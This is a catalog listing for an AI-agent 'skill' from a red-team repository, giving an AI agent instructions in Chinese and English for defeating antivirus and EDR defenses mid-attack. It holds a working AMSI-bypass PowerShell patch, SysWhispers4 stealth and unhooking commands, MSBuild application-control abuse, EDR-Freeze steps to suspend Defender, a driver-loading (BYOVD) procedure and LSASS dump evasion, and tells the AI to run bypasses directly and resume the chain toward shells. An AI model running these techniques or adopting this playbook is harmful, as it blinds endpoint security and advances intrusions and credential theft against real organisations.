/edr-bypass — Endpoint Execution & Defense Evasion

SkillDocs & knowledge

Endpoint defense evasion after an operator-selected chain already has a valid execution path but AV/EDR/AMSI/WDAC/PPL/memory/kernel telemetry blocks the intended action. Originating modules include /web-attack /ad-attack /cloud-attack /k8s /cicd /service-attack /phishing /privesc-win /privesc-linux /creds /post /shell. Success is the blocked action becoming executable, then resume the originating module — not obtaining a shell here.

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the /edr-bypass — Endpoint Execution & Defense Evasion skill

What this skill tells your AI

The instructions your AI receives, as published by pale-knight/redteam-skill in skills/edr-bypass/SKILL.md and read by ahel’s review.

定位: 横向能力模块。原 Attack 模块的攻击原语已经成立,但 AV/EDR/AMSI/WDAC/PPL/内存扫描/内核遥测 拦住了当前指定动作时,由操作者临时调用本模块。

SUCCESS ≠ shell。 成功 = 被拦住的那个动作现在可以执行。然后 立即返回原模块 把链打完(含 /privesc-win /privesc-linux /creds /post /shell)。

本模块是红队模块:该打的 bypass / neutralization 就打。不要改成“只做安全验证”。高影响技术保留,标前置、OS/build、权限、EDR 产品依赖、恢复和影响。不写“通杀所有 EDR”。


开局与收尾

开局第一件事:Read ./notes.md,看清 原模块、被拦动作。走到阻断层才 Read 一份 reference。 监听 / sudo / 输密码 / Permission denied:立刻停,说明等操作者做什么,等回报。不要假装已成功。不要跑 modules.py tail。 收尾:追加 notes(阻断层 / 技术 / After=EXECUTABLE / 回原模块哪一步)→ 立刻回原模块把链打完。不要 /clear。不要读 default_next。


0. 严格边界

属于 /edr-bypass

AV / Defender 静态扫描
AMSI / script runtime
user-mode API hook
process / memory telemetry
kernel-triggered memory scan
call-stack validation
PPL / HVCI / driver controls
WDAC / AppLocker
EDR user-mode / kernel component
endpoint application-control

不属于 /edr-bypass(回去原模块打)

WAF / CDN / HTTP parser              → /web-attack
Mail gateway / Safe Links            → /phishing
LDAP signing / Kerberos / EPA / ADCS → /ad-attack
Cloud IAM / SCP / CA                 → /cloud-attack
K8s RBAC / Admission / Pod Security  → /k8s
workflow / branch / runner trust     → /cicd
DB / service ACL / auth              → /service-attack
C2 / persistence                     → /post
network reachability                 → /tunnel

1. 第一步永远是定位阻断层

输入必须写清:

Originating module: /web-attack | /ad-attack | /cloud-attack | /k8s | /cicd | /service-attack | /phishing | /privesc-win | /privesc-linux | /creds | /post | /shell
Blocked action:
  EXE / DLL / script / shellcode / BOF / .NET assembly / credential access / process create
Endpoint:
  OS / build / arch / privilege / integrity
Observed product:
  Defender / CrowdStrike / SentinelOne / Carbon Black / unknown
Observed blocker:
  file write | image load | process create | AMSI | API hook | memory scan | call stack | WDAC | PPL | kernel
Evidence:
  event / toast / file quarantine / process kill / AMSI 0x80070057 / AppLocker 8004

不要上来就换壳/换加密密钥。先确认是哪一层。

详见 references/defense-assessment.md


2. 按阻断层选技术(直接打)

落地/镜像加载被拦          → references/static-payload.md
AMSI / PowerShell / .NET    → references/script-runtime.md
命令行/进程创建/hook        → references/native-api-syscalls.md + references/process-execution.md
内存扫描 / 注入行为链       → references/memory-execution.md
调用栈 / sleep 明文         → references/callstack-telemetry.md
AppLocker / WDAC            → references/application-control.md
PPL / 驱动 / 回调 / EDR 进程 → references/kernel-edr.md
LSASS/PPL 凭据访问被拦      → references/credential-access-evasion.md

本模块提供真实命令和 PoC。靶场/授权红队直接执行。不要停在“建议换一种 payload”。


3. Static / On-write

文件落地或 image load 之前被拦。

payload 结构 / PE metadata
packer / 加密 / loader 分离
COFF / object mixing
合法签名加载上下文
Donut + 分离加载
# .NET / PE → shellcode(Donut)
git clone https://github.com/TheWover/donut.git
# 按当前 README 生成 shellcode,不要假设旧参数永远兼容

“0 detection on VirusTotal” ≠ 真实 endpoint success。以目标机/同版本实验环境运行结果为准。

详见 references/static-payload.md


4. Script / AMSI / Runtime

原链依赖 PowerShell/.NET/script host,且被 AMSI 拦。

先识别:

$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage 是应用控制问题,不是 AMSI 问题 → references/application-control.md

经典内存补丁(PowerShell 5 / 全量 CLR,授权靶场直接用):

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}}
$f.SetValue($null,$true)

硬件断点不改 AmsiScanBuffer 字节,适合完整性检查更严的环境。实现见 references/script-runtime.md

PowerShell 7 / coreclr 不要套 PS5 patch。能不用脚本运行时就不要为了“会 AMSI bypass”强行引入。

详见 references/script-runtime.md


5. Native API / SysWhispers4 / BOF

高噪声来自额外进程和命令行,而不是功能本身。

whoami      → token APIs
netstat     → GetExtendedTcpTable
cmd.exe /c  → 直接 NtCreateUserProcess / 原链已有的执行原语

SysWhispers4

git clone https://github.com/JoasASantos/SysWhispers4.git
cd SysWhispers4

# 常用内存/线程
python3 syswhispers.py --preset common --arch x64

# 注入族 + 间接 syscall
python3 syswhispers.py --preset injection --method indirect --resolve tartarus --arch x64

# 高对抗实验(不是“EDR off”)
python3 syswhispers.py --preset stealth \
  --method randomized --resolve recycled \
  --obfuscate --encrypt-ssn --stack-spoof \
  --etw-bypass --amsi-bypass --unhook-ntdll \
  --anti-debug --sleep-encrypt

--method indirect / randomized 从 ntdll 的 syscall;ret gadget 进内核,调用栈比 embedded 直接 syscall 自然。两者都 不是 kernel telemetry / memory scan 的万能解。

BOF/COFF:已有支持 BOF 的 implant 时,把功能做成 in-process 小单元,避免 cmd.exe/powershell.exe

详见 references/native-api-syscalls.md


6. Process execution primitives

当阻断发生在 进程创建 / 父进程树 / 远程线程 时,不要无脑 CreateRemoteThread

候选:

PPID spoof
Early Bird APC
module stomping
entry-point hijacking
callback execution(EnumWindows / timer / APC)
section mapping / transacted hollowing(环境门控)

详见 references/process-execution.md


7. Memory execution

VirtualAllocEx → WriteProcessMemory → CreateRemoteThread

这条链在现代 EDR 上特征极强。按阻断层换:

image-backed / module stomping
entry-point hijack
callback-driven
APC / suspended process
Caro-Kann memory-scan timing research
threadless

Caro-Kann:

git clone https://github.com/S3cur3Th1sSh1t/Caro-Kann.git
cd Caro-Kann
# 按 README 交叉编译;标为 memory-scan timing research,不是通用注入替代

详见 references/memory-execution.md


8. Call stack / sleep

# SilentMoonwalk / Unwinder 类:按当前官方 README 编译
# Ekko sleep obfuscation
git clone https://github.com/Cracked5pider/Ekko.git

详见 references/callstack-telemetry.md


9. Application control

先读真实 policy,再滥用允许的签名/路径/LOLBAS。

Get-AppLockerPolicy -Effective -Xml
# MSBuild(微软签名,常见默认允许)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.csproj

管理员用 AppLocker 影响 EDR 用户态组件(GhostLocker 研究路径)见 references/application-control.md。那是高权限 neutralization,不是低权 bypass。


10. Kernel / EDR neutralization / EDR-Freeze / BYOVD

高权限、高影响。授权红队/靶场直接做,但必须记 OS build、HVCI、blocklist、驱动 hash、恢复。

EDR-Freeze(用户态,不必 BYOVD)

WerFaultSecure + MiniDumpWriteDump 竞争,把 EDR/Defender 进程挂起。公开实现:TwoSevenOneT/EDR-Freeze。作者在 Windows 11 24H2 上验证过 Defender。

需要:能对目标安全进程操作的权限(通常高完整度/管理员)
PPL 保护的进程能否被挂起取决于当前 WER/PPL 组合,先在同版本实验环境验证
Impact: CONTROL — 临时致盲;不卸载驱动
恢复:超时后进程恢复,或重启安全服务

按当前仓库 README 编译后:

EDR-Freeze.exe <pid> <milliseconds>

先对 Defender/EDR 用户态进程做短超时实验(例如 10000 ms),确认原被拦动作可执行,再回到原 Attack 模块把链打完。不要宣称“所有 EDR 永久失明”。

BYOVD

1. 查 Microsoft recommended driver blocklist + loldrivers.io
2. 确认 HVCI / Memory Integrity / Secure Boot
3. 只有 hash 未被拦、HVCI 允许加载时才尝试
4. 取得 kernel RW 后做最小动作(清特定 callback / 关 PPL 句柄),不要“关掉所有回调”
5. 测试完卸载驱动、恢复服务

RTCore64 等经典驱动 经常已经在 blocklist 上,不要当 2026 默认弹。没有当前未拦截、可验证的驱动时:标 NO-STABLE-UNBLOCKED-DRIVER,改走 EDR-Freeze / 用户态路径,不编造加载命令。

详见 references/kernel-edr.md


11. 凭据访问中的端点绕过

LSASS/PPL dump 的“拿到什么凭据”属于 /creds。本模块只解决 PPL/EDR/handle protection 拦住 dump 这一层

nanodump / 间接 dump / PPL 降级 / 手柄复制
成功:原 dump/读操作现在可执行
然后回原模块或等操作者选 /creds

详见 references/credential-access-evasion.md


12. 完成条件与返回原链

[EDR BYPASS]
Originating module: ...
Blocked action: ...
Observed defense layer: ...
Technique selected: ...
Prerequisites: OS/build/priv/product
Before: BLOCKED
After: EXECUTABLE / STILL BLOCKED
Impact: ...
Restore/cleanup: ...
Resume: <原模块精确步骤,继续打权限/shell>

本模块不自动选择下一模块。 不拥有 foothold。原链的 shell/DA/云身份仍由原 Attack 模块完成。

验证见 references/validation.md

写入 ./notes.md:阻断层、技术、After=EXECUTABLE、回原模块哪一步。不要 /clear。 立刻回原模块把链打完。

Signals

GitHub stars
42
Forks
1
Last commit
Aug 2026
Advanced
Catalog kind
skill
Gateway key
edr-bypass
Source
github.com/pale-knight/redteam-skill